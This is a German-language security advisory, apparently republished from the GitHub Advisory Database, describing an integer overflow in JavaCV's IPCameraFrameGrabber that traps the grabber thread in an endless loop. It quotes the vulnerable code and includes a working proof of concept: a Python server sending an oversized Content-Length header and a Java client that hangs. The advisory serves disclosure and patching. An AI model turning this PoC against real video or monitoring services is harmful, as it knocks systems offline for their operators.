JavaCV: Ganzzahlüberlauf in IPCameraFrameGrabber verursacht Denial-of-Service durch Endlosschleife
Zusammenfassung
IPCameraFrameGrabber verarbeitet den Wert Content-Length aus dem von der konfigurierten IP-Kamera zurückgegebenen mehrteiligen MJPEG-HTTP-Stream ohne jegliche Grenzprüfungen. Ein bösartiger oder kompromittierter Kamera-Endpunkt – oder ein Angreifer im Netzwerk, der in der Lage ist, Klartext-HTTP-Antworten zu manipulieren (diese Streams werden üblicherweise über http:// übertragen, wie in der Klasse selbst dokumentiert) – kann einen Content-Length-Wert im Bereich 1073741825-2147483647 übermitteln. Dies führt in der internen Puffervergrößerungsroutine ensureBufferCapacity(int) zu einem vorzeichenbehafteten 32-Bit-Ganzzahlüberlauf. Dadurch verwandelt sich die Schleife zur Puffererweiterung in eine echte Endlosschleife: Die Schleifenvariable oszilliert zu 0 und erfüllt niemals wieder die Abbruchbedingung. Der Thread, der grab()/grabBufferedImage() aufgerufen hat, lastet die CPU dauerhaft zu 100% aus und kehrt nie zurück, wodurch der Frame-Grabber-Thread der aufrufenden Anwendung ohne Exception, Timeout oder Unterbrechungsmöglichkeit dauerhaft blockiert wird.
Details
Datei: src/main/java/org/bytedeco/javacv/IPCameraFrameGrabber.java
private byte[] readImage() throws IOException {
...
int c0 = subheader.indexOf("content-length: ");
final int c1 = subheader.indexOf('\r', c0);
if (c0 < 0) {
throw new EOFException("The camera stream ended unexpectedly");
}
c0 += 16;
final int contentLength = Integer.parseInt(subheader.substring(c0, c1).trim()); // <-- fully attacker-controlled
// adaptive size - careful - don't want a 2G jpeg
ensureBufferCapacity(contentLength); // <-- no upper bound enforced
input.readFully(pixelBuffer, 0, contentLength);
...
}
private void ensureBufferCapacity(int desiredCapacity) {
int capacity = pixelBuffer.length; // starts at 1024
while (capacity < desiredCapacity) {
capacity *= 2; // <-- unchecked int multiplication
}
if (capacity > pixelBuffer.length) {
pixelBuffer = new byte[capacity];
}
}
contentLength wird unverändert aus den HTTP-Antwort-Headern des Kamerastreams übernommen und direkt an ensureBufferCapacity übergeben, ohne dass eine Prüfung der Obergrenze erfolgt (der Kommentar „adaptive size - careful - don't want a 2G jpeg“ zeigt, dass dem Autor das Risiko bewusst war, aber keine Prüfung implementiert wurde).
ensureBufferCapacity verdoppelt wiederholt capacity (ein 32-Bit-int, beginnend bei pixelBuffer.length == 1024), bis dieser >= desiredCapacity erreicht. Wenn desiredCapacity größer als 2^30 (1073741824) ist, aber <= Integer.MAX_VALUE (2147483647):
capacityerreicht nach 20 Verdopplungen2^30(1073741824); die Schleifenbedingungcapacity < desiredCapacityist weiterhin wahr.capacity *= 2berechnet2^31, was einen vorzeichenbehafteten 32-Bit-intüberlaufen lässt und zuInteger.MIN_VALUE(-2147483648) umschlägt.- Die Schleifenbedingung
capacity < desiredCapacity(eine negative Zahl im Vergleich zu einer großen positivendesiredCapacity) ist weiterhin wahr, sodass die Schleife fortgesetzt wird. capacity *= 2berechnetInteger.MIN_VALUE * 2, was in der 32-Bit-Zweierkomplement-Arithmetik zu0führt.- Ab diesem Zeitpunkt ist
capacitydauerhaft0(0 * 2 == 0), und0 < desiredCapacitybleibt für immer wahr – diewhile-Schleife endet nie.
Dies ist eine reine CPU-gebundene Schleife ohne I/O, ohne blockierenden Aufruf und ohne InterruptedException-Prüfung, weshalb sie nicht über Thread.interrupt() unterbrochen werden kann und keine am Grabber konfigurierten readTimeout/connectionTimeout beachtet (diese gelten nur für das Lesen aus dem Socket, das vor diesem Codepfad stattfindet). Die einzige Abhilfe besteht darin, die JVM bzw. den Thread von außen zu beenden.
PoC
Ein minimaler bösartiger bzw. kompromittierter MJPEG-Server, der das Hängenbleiben reproduziert:
import socket
srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 8080))
srv.listen(1)
print("listening on :8080")
conn, _ = srv.accept()
conn.recv(4096) # swallow the client's request
# Any value in (1073741824, 2147483647] triggers the overflow.
malicious_length = 2000000000
header = (
"--myboundary\r\n"
"Content-Type: image/jpeg\r\n"
"Content-Length: %d\r\n\r\n" % malicious_length
)
conn.sendall(header.encode())
# The client will now spin forever inside ensureBufferCapacity()
# before ever attempting to read the (fake) body.
Java-Client (repräsentativ für jede Anwendung, die javacv einbettet, um eine „IP-Kamera“-URL anzuzeigen):
import org.bytedeco.javacv.IPCameraFrameGrabber;
import java.util.concurrent.TimeUnit;
public class Poc {
public static void main(String[] args) throws Exception {
IPCameraFrameGrabber grabber = new IPCameraFrameGrabber(
"http://127.0.0.1:8080/videostream.cgi", 5, 5, TimeUnit.SECONDS);
grabber.start();
grabber.grab(); // never returns; thread pegs a CPU core at 100% forever
}
}
Das Ausführen des Clients gegen den obigen bösartigen Server führt dazu, dass grab() dauerhaft hängen bleibt und einen gesamten CPU-Kern belegt – unabhängig von dem an den Konstruktor übergebenen startTimeout/grabTimeout.
Auswirkungen
Jede Anwendung, die IPCameraFrameGrabber verwendet, um einen Kamera-/MJPEG-Stream aus einer nicht vollständig vertrauenswürdigen Quelle zu beziehen – einschließlich des typischen Falls einfacher http://-Streams (wie in den dokumentierten Beispielen der Klasse gezeigt: http://host/videostream.cgi?...), die durch einen Netzwerkangreifer manipuliert werden können –, kann durch einen einzigen manipulierten Antwort-Header in einen dauerhaften Zustand mit 100 % CPU-Auslastung des Grabber-Threads versetzt werden. Weder Authentifizierung, JPEG-Payload noch eigentliche Datenübertragung sind erforderlich; der bösartige Header reicht vollständig aus. Eine wiederholte Ausnutzung gegen einen Server, der pro Client/Kamera einen Grabber-Thread erzeugt (ein gängiges Muster für Videoüberwachungs- und Monitoring-Backends), kann verfügbare Threads und CPU-Ressourcen erschöpfen und zu einem umfassenderen Denial of Service führen.
Was zu tun ist
Aktualisieren Sie auf Version 1.5.14 oder höher oder wenden Sie den Commit cd1977800b827beadf3c53c4032e57172845e0b4 an.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Java / Kotlin (Maven) | org.bytedeco:javacv | < 1.5.14 | 1.5.14 |
Verweise
- CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H- Schwäche (CWE)
CWE-190- Plattform
- Java / Kotlin (Maven)
- Paket
org.bytedeco:javacv- Veröffentlicht
- 16.10.2026
- Aktualisiert
- 20.10.2026 08:37
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-rxjv-24xq-76wc - CC BY 4.0
Schwachstellenhistorie: org.bytedeco:javacv
Alle veröffentlichten Schwachstellen dieses Pakets (Java / Kotlin (Maven)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
Dies ist die einzige bekannte Schwachstelle dieses Pakets.
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.